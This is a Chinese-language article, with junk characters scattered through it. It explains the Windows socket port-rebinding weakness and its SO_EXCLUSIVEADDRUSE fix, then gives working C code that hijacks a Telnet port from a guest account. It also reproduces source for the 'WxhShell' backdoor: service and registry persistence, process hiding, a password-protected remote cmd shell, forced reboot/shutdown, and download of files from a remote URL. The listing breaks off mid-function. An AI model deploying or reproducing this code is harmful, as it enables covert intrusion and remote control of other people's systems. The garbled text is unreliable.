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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0*5Jq#5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NN'pBUR |\uj(| saddr.sin_family = AF_INET; <dP\vLH_ i;C` .+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); )4B`U(%M~ zX*5yNd bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OXQA(%MK }B7Txo,Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |}z5ST% h'&<A_C-7 这意味着什么?意味着可以进行如下的攻击: ~%=%5} W[Q<# Ju 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &Hp*A^M (c)/&~aE 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tkHmH/'7 )e3w-es~4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DmuQE~DV p
P@q
` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 +`Q]p "G "Tser*i ) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2@Yu:|d4U 3GE;:;8B 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eEVB '9WTz(0? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d)!'5ZrM p1d%&e #include /}E2Rr?{ #include %<DdX*Qp #include }FS_"0 #include lmHQ"z 3G DWORD WINAPI ClientThread(LPVOID lpParam); iy]L"7&Z2 int main() #2%V { W|fE]RY WORD wVersionRequested; 7O*Sg2B DWORD ret; Cn5"zDK$ WSADATA wsaData; ;E
9o%f:o BOOL val; fK=0?]s}I SOCKADDR_IN saddr; qy pF}Pw SOCKADDR_IN scaddr; :tO4LEb int err; zuN(~>YH SOCKET s; J i@q7qkC SOCKET sc; ?:`sE" int caddsize; QObVJg,GD HANDLE mt; 02[m{a- DWORD tid; ),`jMd1` wVersionRequested = MAKEWORD( 2, 2 ); ,yNuz@^
P err = WSAStartup( wVersionRequested, &wsaData ); 5<*ES[S if ( err != 0 ) { J61%a,es printf("error!WSAStartup failed!\n"); O@@nGSc@ return -1; #$S~QS.g } U=KUx saddr.sin_family = AF_INET; PUO7Z2 5&p}^hS5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q3hf =&$ !c)F; saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9F3, saddr.sin_port = htons(23); $Q#n'#c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rucw{)
_ { Tf5m
YCk printf("error!socket failed!\n"); T:kliM"z return -1; 4Us,DS_/ } In?+ val = TRUE; /
S' + //SO_REUSEADDR选项就是可以实现端口重绑定的 S'|PA7a}h if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n.9k5r@ { 3xz~## printf("error!setsockopt failed!\n"); W"@'}y return -1; RYvcuA) } sS{Co8EJn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x#SE%j? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0/DO"pnL@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o%j?}J7y C1_0 9Vc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JL#LCU
? { 6 M:?W" ret=GetLastError(); x[TLlV:{ printf("error!bind failed!\n"); WxYEu+_ return -1; S+.>{0!S" } ^`lD w listen(s,2); Ig!0A}f while(1) EMe1!) { t=}]4&Yp caddsize = sizeof(scaddr); rZ(#t{]=! //接受连接请求 u*%mUh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hx@@[sKF7 if(sc!=INVALID_SOCKET) "__)RHH:8 { *ezMS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^#e|^]]
L if(mt==NULL) _y6iR&&x { UmpHae printf("Thread Creat Failed!\n"); Kh=\YN\E< break; {06-h %qr } L
/ PAC } P-T@'}lW CloseHandle(mt); +`"Tn`O } j<!dpt closesocket(s); aTm R~k WSACleanup(); z0\
$#r^I return 0; tQNc+>7k+u } 9C?SEbC DWORD WINAPI ClientThread(LPVOID lpParam) b4^O= { ?;UR9f|! SOCKET ss = (SOCKET)lpParam; QhRz57' SOCKET sc; pe,y'w{ unsigned char buf[4096]; & .1-6 SOCKADDR_IN saddr; aO}hE2] long num; <L8FI78[* DWORD val; i75\<X DWORD ret; ]Kjt@F"; //如果是隐藏端口应用的话,可以在此处加一些判断 8dx7@y?z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 7wW x 8 saddr.sin_family = AF_INET; 5V(#nz saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LFi{Q{E) saddr.sin_port = htons(23); <f:(nGj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3r[F1z2B { V[%IU'{: printf("error!socket failed!\n"); ,<P"\W return -1; yph@H!@ } aJ=)5%$6kc val = 100; `Mg3P_}= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?m5"|f\ { ;TDvk]: ret = GetLastError(); Jo[&y, return -1; LrO[l0#'Q } 6:}n}q,V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4s%zvRu { g*FHZM*N9 ret = GetLastError(); QPp31o.!5 return -1; ~eP~c"L } &X~8S/nPAw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g2?W@/pa { k
t!@}QP printf("error!socket connect failed!\n"); k9H}nP$F closesocket(sc); rIB./, closesocket(ss); $;=^|I4E return -1; on8$Kc } ,if~%'9j while(1) fO5L[U^` { aLLI\3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @mu{*. &
//如果是嗅探内容的话,可以再此处进行内容分析和记录 %/\sn<6C} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DU,B num = recv(ss,buf,4096,0); ;m|N9' if(num>0) p"6[ S send(sc,buf,num,0); v0\M$@N[ else if(num==0) P5G0fq7 break; DsxNg num = recv(sc,buf,4096,0); h*<`ct xL if(num>0) nt&%
sM-X send(ss,buf,num,0); ^FNju/b else if(num==0) yRQ1Szbjli break; Y
cL((6A } IY!.j5q8 closesocket(ss); "UY34a^I closesocket(sc); 3zfpFgD! return 0 ; 4Hyp]07 } rVOF daA&!vnbH* ,'YKL", ========================================================== P^Og(F8; e 5(|9*t 下边附上一个代码,,WXhSHELL )~$ejS @HI@PZ> ========================================================== ! B` |Om][z #include "stdafx.h" suaP'0 uj%]+Llxv #include <stdio.h> vP'!&} #include <string.h> s^)(.e_ #include <windows.h> %>zG;4 #include <winsock2.h> OiC|~8 #include <winsvc.h> N1y,~Z #include <urlmon.h> T$FKn Ai 8+U) #pragma comment (lib, "Ws2_32.lib") aRn""3[ #pragma comment (lib, "urlmon.lib") fCs{%-6cP $b^ niL #define MAX_USER 100 // 最大客户端连接数 -;
d{}F #define BUF_SOCK 200 // sock buffer 7?_gm>]a #define KEY_BUFF 255 // 输入 buffer i 28TH
Jh !3c+}j-j #define REBOOT 0 // 重启 v?nGAn #define SHUTDOWN 1 // 关机 ,Bx0 pXQ$n:e #define DEF_PORT 5000 // 监听端口 (yEU9R$I" L1 k #define REG_LEN 16 // 注册表键长度 ) .V,zmI #define SVC_LEN 80 // NT服务名长度 $_HyE%F# ZX+0{E8a // 从dll定义API 0#Q]>V@rO4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P()&?C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P?8$VAkj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eA(FWO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )`|`PB 8c%N+E] // wxhshell配置信息 \G/ZA) t struct WSCFG { u
XZ ;K. int ws_port; // 监听端口 8 f~M6 char ws_passstr[REG_LEN]; // 口令 :c}PW"0v int ws_autoins; // 安装标记, 1=yes 0=no VJr ~h
"[ char ws_regname[REG_LEN]; // 注册表键名 \:JY[s/ char ws_svcname[REG_LEN]; // 服务名 "K|':3n| char ws_svcdisp[SVC_LEN]; // 服务显示名 )g-0b@z!n char ws_svcdesc[SVC_LEN]; // 服务描述信息 F2n4#b char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3$_- 0> int ws_downexe; // 下载执行标记, 1=yes 0=no #w^Ot*{!N char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" _-v$fDrz char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7oL:C (o\D=!a }; ,( hP /< b9b`%9/L // default Wxhshell configuration :IsJE6r struct WSCFG wscfg={DEF_PORT, $b_~ "xuhuanlingzhe", YD~(l-?" 1, &d!ASa "Wxhshell", Hp(41Eb, "Wxhshell", }LWrtmc "WxhShell Service", %f&Bt,xEo "Wrsky Windows CmdShell Service", t08[3Q& "Please Input Your Password: ", aiw4J 1, "KC3+:tm " http://www.wrsky.com/wxhshell.exe", jW| ,5,43 "Wxhshell.exe" .o<9[d" }; p[!9 objU YAi@EvzCVy // 消息定义模块 JV2[jo}0N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PI*Z>VE? char *msg_ws_prompt="\n\r? for help\n\r#>"; s9u7zqCF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; >k}Kf1I char *msg_ws_ext="\n\rExit."; }g 2l
ni char *msg_ws_end="\n\rQuit."; &MONg=s3 char *msg_ws_boot="\n\rReboot..."; p .~5k char *msg_ws_poff="\n\rShutdown..."; 7{rRQ~s&g9 char *msg_ws_down="\n\rSave to "; sv\=/F@n $qoal char *msg_ws_err="\n\rErr!"; VdL }$CX$ char *msg_ws_ok="\n\rOK!"; Kt"4<' etb#/L char ExeFile[MAX_PATH]; ej(w{vl int nUser = 0; [S.zWPX9{ HANDLE handles[MAX_USER]; Sc]h^B^7 int OsIsNt; f[OJqk FT gt$I SERVICE_STATUS serviceStatus; u<+RA SERVICE_STATUS_HANDLE hServiceStatusHandle; yzGBGC 7B)@ aUj$ // 函数声明 X5Y. o& int Install(void); b%j4W)Z int Uninstall(void); _z"\3hZ int DownloadFile(char *sURL, SOCKET wsh); 3/su 1M[ int Boot(int flag); (b.Mtd void HideProc(void); $*9:a3>zny int GetOsVer(void); /hGu42YG int Wxhshell(SOCKET wsl); LA,G>#?H void TalkWithClient(void *cs); U}-hV@y
int CmdShell(SOCKET sock); s*>B"#En int StartFromService(void); 8vvNn>Q int StartWxhshell(LPSTR lpCmdLine); DeN$YE#* 5XNFu C9E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B@vup {Kg VOID WINAPI NTServiceHandler( DWORD fdwControl ); @Y6~;(p 'sjks sy.3 // 数据结构和表定义 {\k:?w4 SERVICE_TABLE_ENTRY DispatchTable[] = dpcv'cRfw { "[ >ql1t{b {wscfg.ws_svcname, NTServiceMain}, v)!^%D {NULL, NULL} z&|sks7 }; H)+wkR!~ rAu@`H? // 自我安装 ,fs>+]UY3 int Install(void) ?=Mg"QU { s:sk`~2<gd char svExeFile[MAX_PATH]; ).r04)/ HKEY key; =XUt?5 strcpy(svExeFile,ExeFile); q0_Pl* )x&>Cf<, // 如果是win9x系统,修改注册表设为自启动 -s:NF;" if(!OsIsNt) { j&,%v+x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /.1h_[K] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P76QHBbl RegCloseKey(key); "3a_C,\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VZU@G)rd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m\|ie8 RegCloseKey(key); kQtnT7 return 0; Zu^J X/um } EMS$?"K }
] 2lhJ } @p7*JLO else { y]%Io]!d )G$0:-J- // 如果是NT以上系统,安装为系统服务 M7AUY#) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !r_2b! dy if (schSCManager!=0) J|o )c~ { |H-zm&h>' SC_HANDLE schService = CreateService t=r*/DxX= ( &qeMYYY schSCManager, =q*j". < wscfg.ws_svcname, v6KF0mqA& wscfg.ws_svcdisp, \;Q:a
/ur9 SERVICE_ALL_ACCESS, G~\=:d=^,` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (fnp\j3w SERVICE_AUTO_START, f.u+({"ql SERVICE_ERROR_NORMAL, :]IYw!_-p svExeFile, \&X*-T[]j NULL, K2pW|@~U NULL, !bIhw}^C* NULL, r(/+-
t NULL, !W45X}/o NULL oOy_2fwZPp ); j}@n`[V1 if (schService!=0) {rZ )! { Ha20g/UN. CloseServiceHandle(schService); ;PX>] r5U0 CloseServiceHandle(schSCManager); lhx]r}@'MC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A{QA0X!p strcat(svExeFile,wscfg.ws_svcname); gLPgh%B4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s4{ >7`N2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ba]^0Y
u RegCloseKey(key); [5Pin>]z return 0; R9lb<` } Z\*jt B: } co%-d CloseServiceHandle(schSCManager); $<s
3;>t } %C(^v)" } [cf!%3>53 I>z0)pB return 1; AtW<e;!0te } W%^;:YQ9i K)r|oW=6Y // 自我卸载 +HNM$yp int Uninstall(void) $/;;}|hqi { InR/g@n+D1 HKEY key; "E )0)A3= JQ]A"xTIa* if(!OsIsNt) { WkR=(dss8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Fh5*UC RegDeleteValue(key,wscfg.ws_regname); \L{V|}"X RegCloseKey(key); yMbg1+:
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;*XH[>I RegDeleteValue(key,wscfg.ws_regname); VRa>bS RegCloseKey(key); |jE0H!j return 0; +yo1&b R/ } = F"vL } eww/tG a } "Z*u2_ H else { /p_#8}Uh jz72~+)T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H|*Ual if (schSCManager!=0) JP*VR=0k? { &+zS4)UK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &)v}oHy,m if (schService!=0) 9&}i[x4 { DDwm;,eZ if(DeleteService(schService)!=0) { R\d)kcy4 CloseServiceHandle(schService); sW]fPa(cn, CloseServiceHandle(schSCManager); ,c9K]>8m` return 0; =S:Snk% } R;EdYbiF b CloseServiceHandle(schService); zyi;vu } w_]`)$9 CloseServiceHandle(schSCManager); p? L*vcU } k]9v${Ke } .-HwT3 - HiRXB return 1; 8Xjp5 } | )M>;q o6T'U#7P // 从指定url下载文件 @J UCXm int DownloadFile(char *sURL, SOCKET wsh) #cy;((z uB { NANgV~Y& HRESULT hr; U/l3C(bc! char seps[]= "/"; sw$$I~21 char *token; Ty;P`Uv]r char *file; I$w:qS&: char myURL[MAX_PATH]; Iu|4QE char myFILE[MAX_PATH]; pDV8B/{ w=feXA3-S strcpy(myURL,sURL); /@QPJ~%8Ud token=strtok(myURL,seps); @pkQ2OM
2 while(token!=NULL) N(=Z4Nk5 { ap|$8G file=token; T_/ n#e token=strtok(NULL,seps); 0l+[[ZTV } H4"'&A7$ s2*~n_B GetCurrentDirectory(MAX_PATH,myFILE); ATscP hk strcat(myFILE, "\\"); c1aIZ strcat(myFILE, file); [h[@?8vB send(wsh,myFILE,strlen(myFILE),0); urK~]68 send(wsh,"...",3,0); AMf{E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z(:q.{"r if(hr==S_OK) j9^V)\6) return 0; N83c+vs%c else hxe X6 return 1; yeqHeZ !
n13B } xka&,`z H=v=)cUe[ // 系统电源模块 ]m<z int Boot(int flag) >&%#`PKT { VtnVl`/] HANDLE hToken; PJ3M,2H1b. TOKEN_PRIVILEGES tkp; d.Ep#4 GLWEoV9< if(OsIsNt) { $@^*lUw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v1}9i3Or# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5DxNHEuS tkp.PrivilegeCount = 1; 1 3K|=6si tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^n~bx*f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1'4?}0Dok if(flag==REBOOT) { +LwwI*;b if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [D_s`'tg return 0; =}UcYC6l } =k^ d5 else { |e{ ^Yf4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7tQ?av return 0; 8 @A}.: } wU(!fw\ } n4InZ!) else { p!>DA?vF if(flag==REBOOT) { /^hc8X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >yf}9Zs return 0; ~`X$bF } g$h`.Fk, else { TY;%nT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7 >-(g+NF! return 0; W:8pmI } Kw=][}d`D } z07Xj%zX9 i62GZeE return 1; PvB{@82 } .s-*aoj D=@bP B> // win9x进程隐藏模块 9%Qlg4~<s void HideProc(void) ~yiw{:\ { _lrvK99 V@o#" gZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {5Sy=Y if ( hKernel != NULL ) oLIgj,k{* { Zk~~`h pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3HqTVq`& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pv8vW'G\E FreeLibrary(hKernel); 8_/,`}9
} @Nn'G{8OG [*U.bRs return; H5Bh?mw2 } RA1K$D ?A nxMZd=Y // 获取操作系统版本 o1R:1!"2 int GetOsVer(void) c2Wp 8l { MSE0z!t OSVERSIONINFO winfo; MO@XbPZB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {Y|?~ha# GetVersionEx(&winfo); ,!dVhG# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3b[.s9Q return 1; K_F"j!0 else |[!7^tU* return 0; V3(8?Fz. } Ug )eyu b_f"(l8'S // 客户端句柄模块 N\anjG int Wxhshell(SOCKET wsl) "0LSy x { ?Ta<.j SOCKET wsh; x
Nb7VUV7 struct sockaddr_in client; ipyc(u6Z5 DWORD myID; L)c]i'WZ a66Ns7Rb while(nUser<MAX_USER) (_]D\g~ { XhUVDmeUMb int nSize=sizeof(client); XtqhK"f% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,\T7{=ZG\! if(wsh==INVALID_SOCKET) return 1; A1n4R {F;"m&3Lt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {r%T_BfY if(handles[nUser]==0) n0Qp:_2z closesocket(wsh); &v#pS!UO j else XT?wCb41R nUser++;
Clb7=@f } Nq1YFI>W WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,P%i%YPj KM?w{ ~9 return 0; -S#jOr } 3_8W5J3I Qb|@DMq% // 关闭 socket \k{d'R#~( void CloseIt(SOCKET wsh) Mm;[f'{M) { $18?Q+?3 closesocket(wsh); \5}*;O@ nUser--; _2hZGC%&E ExitThread(0); @z^7*#vQv } ~G1B}c]
KL./ // 客户端请求句柄 |K" nSXzk void TalkWithClient(void *cs) DMOP*;Uk { p-xG&CU +8Y|kC{9" SOCKET wsh=(SOCKET)cs; g7{:F\S char pwd[SVC_LEN]; GI@;76Qf char cmd[KEY_BUFF]; C3'?E<F char chr[1]; izzX$O[=: int i,j; Tgl > R90#T6^ while (nUser < MAX_USER) { V|~o`(] U>sEFzBup if(wscfg.ws_passstr) { 51tZ:-1! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |{JI=$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |w+
O.%= //ZeroMemory(pwd,KEY_BUFF); OZA^L;#> i=0; V"B/4v> while(i<SVC_LEN) { qeb} ~FL"o C-\3, // 设置超时 xIwILY|W= fd_set FdRead; SLRF\mh!L struct timeval TimeOut; +cM~| FD_ZERO(&FdRead); h^
K]ASj FD_SET(wsh,&FdRead); [N#4H3GM8 TimeOut.tv_sec=8; f[
KI
T TimeOut.tv_usec=0; o/ 7[
G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {$#88Qa\- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IJVzF1vC [] el4.J, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lF
t^dl^ pwd =chr[0]; xz,o Mlw if(chr[0]==0xd || chr[0]==0xa) { w
^?#xU1.i pwd=0; 2x<!>B break; GS7'pTsYH } L6#4A3yh i++; }1%%` } T$<yl#FY 3.1%L"r[) // 如果是非法用户,关闭 socket )7X$um if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RB6Q>3g } _zJ /z _90<*{bt. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `<kB/T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O8cZl1C3 ANgt\8 while(1) { P)#h4|xZ 1wm`a ZeroMemory(cmd,KEY_BUFF); ^!x! F 8]oolA:^4s // 自动支持客户端 telnet标准 "0,FB4L[U5 j=0; c2Exga_ while(j<KEY_BUFF) { )iZU\2L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UNK.39 cmd[j]=chr[0]; Nukyvse if(chr[0]==0xa || chr[0]==0xd) { ANJL8t-m cmd[j]=0; tfu`_6 break; !
,{zDMA } S^;;\0#NK j++; bWSc&/9y } 9 )!} |28'<BL // 下载文件 $7W5smW/ if(strstr(cmd,"http://")) { [$pb send(wsh,msg_ws_down,strlen(msg_ws_down),0); jD%|@ux if(DownloadFile(cmd,wsh)) \<\H1;=.@' send(wsh,msg_ws_err,strlen(msg_ws_err),0); CyS%11L else lHDZfwJ&C1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K&zW+C b } 8};kNW^2m else { %-$BtR2@o U{/fY/kq switch(cmd[0]) { l~w^I|M^C seRf q& // 帮助 T?QW$cU!e: case '?': { @56*r@4:q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6yO5{._M break; {M7`"+~w } .6LRg // 安装 D9NQ3[R 9 case 'i': { >MSK.SNh if(Install()) >*opE I+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qc)i?Z'6 else (wu ciKQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p*)I QM<B break; c~O
Lr } TUz4-Pd // 卸载 Tl'wA^~H case 'r': { r>7+&s*yk if(Uninstall()) ^y qRa& send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aj=GekX{ else !h|,wq]k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Q3OQ[Nmh break; MBU|<tc } ;']u}Nh // 显示 wxhshell 所在路径 -*Rf [|Z case 'p': { .@%L8_sMR char svExeFile[MAX_PATH]; v|\#wrCT? strcpy(svExeFile,"\n\r"); fQ~TZ:UrU strcat(svExeFile,ExeFile); TnKv)%VF send(wsh,svExeFile,strlen(svExeFile),0); ?QzL#iO}h break; L6DYunh}^N } rfYa<M Qc // 重启 lS#:u-k case 'b': { +3o0GJ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); < \fA}b if(Boot(REBOOT)) ?|/K(} send(wsh,msg_ws_err,strlen(msg_ws_err),0); dQZdL4 else { 9<&M~(dwT4 closesocket(wsh); !LM`2|3$ ExitThread(0); M.
%
p'^5 } $5.52 break; @/|g|4 } <#4""FO* // 关机 -CuuO=h case 'd': { 8)=(eI$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); </D.}ia if(Boot(SHUTDOWN)) }Hq3]LVE send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:dN) else { ZI;*X~h closesocket(wsh); (,jsZ!sl ExitThread(0); l@*$C&E } :"Otsb7 break; *~shvtq } U# S-x5Gn // 获取shell 2oV6#!{Z case 's': { [DDe}D3C CmdShell(wsh); /RMtCa~ closesocket(wsh); 4v |i\V>M ExitThread(0); +])<}S!M break; A&p@iE*/ } [ 5!}+8]W // 退出 KXDnhVf case 'x': { wpt$bqs|1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nW"O+s3 CloseIt(wsh); VevG 64o break; w8R7Ksn( } gd]S;<Jh // 离开 HcJ!( case 'q': { o$l8"Uv send(wsh,msg_ws_end,strlen(msg_ws_end),0); pfHjs3A= closesocket(wsh); wK7w[Xt WSACleanup(); j5" L exit(1); A{J?I: break; ^)Awjj9 } Yl>Y.SO } _u^3uzu } m"/..&'GC gaz",kK< // 提示信息 hnB`+! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `^[Tu 1 } {<@ud0A:\ } .\T!oSb4[ W_E^+Wl@ return; l0`bseN< } 0m]QQGvJ{ F~fBr // shell模块句柄 T9&{s-3* int CmdShell(SOCKET sock) WZn;u3,R { ;Ivv4u STARTUPINFO si; %(p9AE ZeroMemory(&si,sizeof(si)); `ovMfL.u si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )mf|3/o si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l7jen=(Zb; PROCESS_INFORMATION ProcessInfo; tc[Ld# char cmdline[]="cmd"; )W
p7e51 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }|2A6^FH. return 0; PN?;\k)" } COu5Tu^ YW6a?f^! // 自身启动模式 )1B?<4 int StartFromService(void) aaCRZKr { 4-SU\_ typedef struct Pg:xC9w4 { &z40l['4bz DWORD ExitStatus; 0$c(<+D DWORD PebBaseAddress; e
ar:`11z DWORD AffinityMask; U)Hc7%
e DWORD BasePriority; Nv. ULONG UniqueProcessId; (wq8[1Wzup ULONG InheritedFromUniqueProcessId; #<"od '{U } PROCESS_BASIC_INFORMATION; n
nAtXVy ;YY<KuT PROCNTQSIP NtQueryInformationProcess; YR0AI l:L o*/;Zp== static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7F0J*M static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,'HjL:r )Cj1VjAg
